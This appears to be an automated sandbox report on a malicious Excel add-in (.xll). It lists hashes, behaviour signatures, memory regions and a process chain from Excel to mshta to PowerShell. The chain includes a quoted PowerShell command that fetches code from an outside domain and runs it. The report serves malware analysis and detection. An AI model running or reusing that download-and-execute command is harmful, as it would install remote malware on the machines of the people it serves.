Analysis

  • max time kernel
    138s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/05/2024, 17:07

General

  • Target

    2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll

  • Size

    12KB

  • MD5

    a12e7e1c4648c35bde84596a46cc5c0f

  • SHA1

    de05af0701333162ce1fb2b4efa8d58ef468bac5

  • SHA256

    2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c

  • SHA512

    e16d6236c44f9f2aaaaddce4a595491b372c62633ffc8f7a594a973215cbb2cfdcf583be75618b9ae8e24b53a44e991d66042b812562bf5d705fd1c3d106b315

  • SSDEEP

    192:ML29RBzDzeobchBj8JONQONhru1rEPEjr7Ahb:i29jnbcvYJOVfu1vr7Cb

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3248
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3176
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:400

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GO42234Z\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c.xll

    Filesize

    12KB

    MD5

    a12e7e1c4648c35bde84596a46cc5c0f

    SHA1

    de05af0701333162ce1fb2b4efa8d58ef468bac5

    SHA256

    2e6dc0623a5a2e10cb10d97765b1c257d891c09e7ed1fd2a781914adb0f7e32c

    SHA512

    e16d6236c44f9f2aaaaddce4a595491b372c62633ffc8f7a594a973215cbb2cfdcf583be75618b9ae8e24b53a44e991d66042b812562bf5d705fd1c3d106b315

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zmd4gkc2.gda.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/400-63-0x0000000005C70000-0x0000000005CBC000-memory.dmp

    Filesize

    304KB

  • memory/400-62-0x0000000005C30000-0x0000000005C4E000-memory.dmp

    Filesize

    120KB

  • memory/400-61-0x0000000005660000-0x00000000059B4000-memory.dmp

    Filesize

    3.3MB

  • memory/400-64-0x00000000072B0000-0x000000000792A000-memory.dmp

    Filesize

    6.5MB

  • memory/400-51-0x00000000055F0000-0x0000000005656000-memory.dmp

    Filesize

    408KB

  • memory/400-50-0x0000000005580000-0x00000000055E6000-memory.dmp

    Filesize

    408KB

  • memory/400-49-0x00000000053E0000-0x0000000005402000-memory.dmp

    Filesize

    136KB

  • memory/400-48-0x0000000004D80000-0x00000000053A8000-memory.dmp

    Filesize

    6.2MB

  • memory/400-47-0x0000000002690000-0x00000000026C6000-memory.dmp

    Filesize

    216KB

  • memory/400-65-0x0000000006160000-0x000000000617A000-memory.dmp

    Filesize

    104KB

  • memory/3248-9-0x00007FF819B70000-0x00007FF819B80000-memory.dmp

    Filesize

    64KB

  • memory/3248-8-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-17-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-20-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-19-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-18-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-14-0x00007FF819B70000-0x00007FF819B80000-memory.dmp

    Filesize

    64KB

  • memory/3248-13-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-15-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-12-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-11-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-0-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp

    Filesize

    64KB

  • memory/3248-10-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-16-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-7-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-6-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp

    Filesize

    64KB

  • memory/3248-5-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-4-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp

    Filesize

    64KB

  • memory/3248-2-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp

    Filesize

    64KB

  • memory/3248-3-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp

    Filesize

    64KB

  • memory/3248-1-0x00007FF85BFAD000-0x00007FF85BFAE000-memory.dmp

    Filesize

    4KB

  • memory/3248-72-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB

  • memory/3248-73-0x00007FF85BFAD000-0x00007FF85BFAE000-memory.dmp

    Filesize

    4KB

  • memory/3248-89-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp

    Filesize

    64KB

  • memory/3248-90-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp

    Filesize

    64KB

  • memory/3248-92-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp

    Filesize

    64KB

  • memory/3248-91-0x00007FF81BF90000-0x00007FF81BFA0000-memory.dmp

    Filesize

    64KB

  • memory/3248-93-0x00007FF85BF10000-0x00007FF85C105000-memory.dmp

    Filesize

    2.0MB